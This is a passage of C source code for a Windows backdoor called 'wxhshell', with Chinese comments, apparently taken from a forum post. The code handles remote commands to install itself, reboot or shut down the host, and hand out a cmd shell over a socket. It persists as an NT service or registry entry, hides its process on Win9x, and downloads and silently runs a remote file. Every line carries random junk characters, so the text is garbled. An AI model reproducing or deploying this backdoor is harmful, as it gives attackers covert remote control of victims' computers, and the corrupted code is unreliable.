      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qQ^]z8g6P  
    break; <b{ApsRJf  
  } }yXa1#3  
  // 安装 b}axw+  
  case 'i': { (?$}Vp  
    if(Install()) $n>.;CV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8+lM6O ~!  
    else <@JK;qm>S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RW%e%  
    break; tEZ@v(D  
    } A5 /Q:8b  
  // 卸载 $+ lc;N  
  case 'r': { 5a_1x|Fhi  
    if(Uninstall()) Dy5'm?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ++5So fG@  
    else poQY X5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }oloMtp$  
    break; /\OjtE  
    } X 5pp8~  
  // 显示 wxhshell 所在路径 #dU-*wmJ  
  case 'p': { -2bu`oD `  
    char svExeFile[MAX_PATH]; uh@ZHef[l  
    strcpy(svExeFile,"\n\r"); # M%-q8  
      strcat(svExeFile,ExeFile); O?rVa:\  
        send(wsh,svExeFile,strlen(svExeFile),0); P!1y@R>Ln  
    break; jsH7EhF{'  
    } ]B\H  
  // 重启 B`9'COw  
  case 'b': { n:'Mpux  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qVE6ROSh  
    if(Boot(REBOOT)) j<e`8ex?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T =_Hd  
    else { yB,$4:C  
    closesocket(wsh); 4E<iIA\x  
    ExitThread(0); 6 [w_ /X"  
    } D O#4E<]5  
    break; I6X_DPY  
    } m.Yj{u8zX  
  // 关机 &n91f  
  case 'd': { c|IH|y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E2+O-;VN  
    if(Boot(SHUTDOWN)) ALJ^XvB4V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); auK*\Wjm?  
    else { e@w-4G(;  
    closesocket(wsh); %?@N-$j  
    ExitThread(0); g >u{H:  
    } /X; [ 9&  
    break; `ZC_F! E  
    } {f<2VeJ  
  // 获取shell T}M!A|   
  case 's': { ^ yyL4{/  
    CmdShell(wsh); 'QeCJ5p]  
    closesocket(wsh); 2mRm.e9?  
    ExitThread(0); ]>B>.s  
    break; R %aed>zo  
  } M4~^tML>Ey  
  // 退出 .SAOE'Foo  
  case 'x': { Lzm9Kh;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ER;?[!  
    CloseIt(wsh); fX^ <H_1$G  
    break; *QH@c3vUe\  
    } o/t^rY y  
  // 离开  _xjw:  
  case 'q': { ~M _ @_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a9}7K/Y=d  
    closesocket(wsh); p.~hZ+ x_  
    WSACleanup(); RoS&oGYqR  
    exit(1); 0go{gUI  
    break; .hPk}B/KV  
        } `bY>f_5+  
  } Utd`T+AF*  
  } r01Z 0>  
!Z]#1"A8  
  // 提示信息 lkl+o&D9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); td@I ;d2  
} n W:P"L  
  } | KY6IGcqV  
sVWOh|O[W  
  return; _c$l@8KS^  
} !8~A`  
.FYxVF.  
// shell模块句柄 w#0/&\ b=  
int CmdShell(SOCKET sock) ~}Xd{afo  
{ !Pd@0n4  
STARTUPINFO si; "{>BP$Jz  
ZeroMemory(&si,sizeof(si)); $S(<7[Z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (q o ?e2K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x *:v]6y  
PROCESS_INFORMATION ProcessInfo; ]L)l5@5^  
char cmdline[]="cmd"; uW;[FTcqy$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); > oh7f|  
  return 0; f"9aL= 3  
} 2PZ#w(An&  
'vCl@x$  
// 自身启动模式 = j)5kY`  
int StartFromService(void) [/E|n[Bx  
{ \D6 7J239E  
typedef struct l5P!9P  
{ %'o'Kh''=  
  DWORD ExitStatus; Y2$wL9">  
  DWORD PebBaseAddress; Q 8| C>$n  
  DWORD AffinityMask; 9 696EQ,I  
  DWORD BasePriority; fj"1TtPq#  
  ULONG UniqueProcessId; V) xwlvX  
  ULONG InheritedFromUniqueProcessId; U-+o6XX  
}   PROCESS_BASIC_INFORMATION; W=G8l%  
%/;*Ewwb  
PROCNTQSIP NtQueryInformationProcess; aoqG*qh}b  
[Z]%jABR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -<0xS.^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 88uoA6Y8h  
10}< n_I  
  HANDLE             hProcess; -8zdkm8k  
  PROCESS_BASIC_INFORMATION pbi; 7! sR%h5p  
QzLE9   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); | -l9Z  
  if(NULL == hInst ) return 0; #|j8vmfn$e  
a=_:`S]}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CWdpF>En  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #M ;j*IBl*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); aoUz_7  
3kz O VZ  
  if (!NtQueryInformationProcess) return 0; .RW&=1D6  
z"%{SI^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zu_bno!  
  if(!hProcess) return 0; _9f7@@b  
GAP,$xAaW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mE"(d*fe'  
:@@aIFRv  
  CloseHandle(hProcess); ]621Z1  
4$oDq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); TTagZI$  
if(hProcess==NULL) return 0; P(xgIMc H  
Se}&2 R  
HMODULE hMod; nPW=m`jG  
char procName[255]; qx5jaa3  
unsigned long cbNeeded; _s18^7  
`(uN_zvH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J.(mg D  
<s=i5t My5  
  CloseHandle(hProcess); DFMf" _p  
%w#z   
if(strstr(procName,"services")) return 1; // 以服务启动 [Smqe>U 1  
Nr"gj$v  
  return 0; // 注册表启动 A$3ll|%j  
} W"!{f  
hsAk7KC  
// 主模块 sa?s[  
int StartWxhshell(LPSTR lpCmdLine) .^xQtnq  
{ 0e +Qn&$#4  
  SOCKET wsl; y9Pw'4R  
BOOL val=TRUE; k 1l K`p  
  int port=0; J?Bj=b  
  struct sockaddr_in door; cv5+[;(b  
$Sgq7  
  if(wscfg.ws_autoins) Install(); PO nF_FC  
bx%Ky0Z  
port=atoi(lpCmdLine); oH(a*i  
eGW h]%  
if(port<=0) port=wscfg.ws_port; bjBXs;zr@\  
ThY\K>@]  
  WSADATA data; T@xaa\bzg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V'FKgzd  
#Xk/<It  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   KFBBqP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *X!+wK-+  
  door.sin_family = AF_INET; Gvl,M\c9-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Mw`S.M. B  
  door.sin_port = htons(port); ]tNB^  
LfvNO/:,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,(B/R8ZF~  
closesocket(wsl); %O9P|04]3  
return 1; gI/ SA  
} gb=tc`  
q{}U5(,{0  
  if(listen(wsl,2) == INVALID_SOCKET) { ?aQVaw&L!7  
closesocket(wsl); rRX F@  
return 1; uHuL9Q^  
} 1()pKBHf  
  Wxhshell(wsl); ;EsfHCi)  
  WSACleanup(); *QT7\ht3  
ZEB,Q~  
return 0; bo#?,80L}`  
[5PQrf~Mo  
} ikb;,Js  
PKZMuEEy,  
// 以NT服务方式启动 nTE\EZ+=2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MSb0J`  
{ lvG+9e3+  
DWORD   status = 0; 1QbD]"=n  
  DWORD   specificError = 0xfffffff; ?NxaJ^  
K8uqLSP '  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &23{(]eO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;?{OX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g6h=Q3@  
  serviceStatus.dwWin32ExitCode     = 0; +FC+nE}O  
  serviceStatus.dwServiceSpecificExitCode = 0; RijFN.s  
  serviceStatus.dwCheckPoint       = 0; L4<=,}KS  
  serviceStatus.dwWaitHint       = 0; r@CbhD  
BSY7un+`:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (r-PkfXvIf  
  if (hServiceStatusHandle==0) return; |H%,>r`9S  
p[%B#(]9,  
status = GetLastError(); bLC+73BjC  
  if (status!=NO_ERROR) in>?kbaG+  
{ 0BN=>]V~j7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^= '+#|:  
    serviceStatus.dwCheckPoint       = 0; H284 ]i  
    serviceStatus.dwWaitHint       = 0; 8Ib5  
    serviceStatus.dwWin32ExitCode     = status; }q)dXFL=I#  
    serviceStatus.dwServiceSpecificExitCode = specificError; `jT1R!$3F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `8D'r|=`Eh  
    return; <$8e;:#:  
  } G C@U['  
O/ZyWT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {WuUzq`  
  serviceStatus.dwCheckPoint       = 0; `llSHsIkXb  
  serviceStatus.dwWaitHint       = 0; ;h4w<OqcM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mam(h{f$  
} 41o ~5:&  
{&h=  
// 处理NT服务事件,比如:启动、停止 Tl*FK?)MC^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t8B==%  
{ $,jynRk7q  
switch(fdwControl) okD7!)cr=  
{ (C hL$!x  
case SERVICE_CONTROL_STOP: !}Ty"p`  
  serviceStatus.dwWin32ExitCode = 0; Jek)`D  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Mh5 =]O+  
  serviceStatus.dwCheckPoint   = 0; zqb3<WP"  
  serviceStatus.dwWaitHint     = 0; 3qq 6X?y*  
  { ?N@p~ *x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E#,n.U>#)  
  } !,N),xG}~  
  return; xkkW?[&  
case SERVICE_CONTROL_PAUSE: S)*!jI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; TYgn X  
  break; z_en .  
case SERVICE_CONTROL_CONTINUE: -_~T;cj6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ch]Q%M  
  break; +X7+:QQ }  
case SERVICE_CONTROL_INTERROGATE: .p(~/MnO  
  break; S-)%#  
}; wQ/FJoB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vq*)2.  
} $,B@yiie  
P7kb*  
// 标准应用程序主函数 oj~0zJI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D3-H!TFpDb  
{ *dm?,~f%<  
s1NRUV2E  
// 获取操作系统版本 7= x]p  
OsIsNt=GetOsVer(); C!aK5rqhv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m8njP-CZ  
3re|=_ Hy  
  // 从命令行安装 /=2  
  if(strpbrk(lpCmdLine,"iI")) Install(); j{u! /FD  
I!sB$=n  
  // 下载执行文件 J|2OmbJe  
if(wscfg.ws_downexe) { R2$;f?;:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y #Xq@  
  WinExec(wscfg.ws_filenam,SW_HIDE); FGG 7;0(  
} F,-S&d  
QBiLH]qa  
if(!OsIsNt) { yp:_W@  
// 如果时win9x,隐藏进程并且设置为注册表启动 A 9HJWKO  
HideProc(); -(fvb  
StartWxhshell(lpCmdLine); -O-qEQd  
} aPMqJ#fIr  
else PME ?{%&  
  if(StartFromService()) +aWI"d--h  
  // 以服务方式启动  uM9[  
  StartServiceCtrlDispatcher(DispatchTable); $}G03G@  
else <H)I06];  
  // 普通方式启动 uT??t=vb  
  StartWxhshell(lpCmdLine); yEe4{j$  
EK6fd#J?1  
return 0; oG)JH)!  
}
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只看该作者 1 发表于: 2006-10-10
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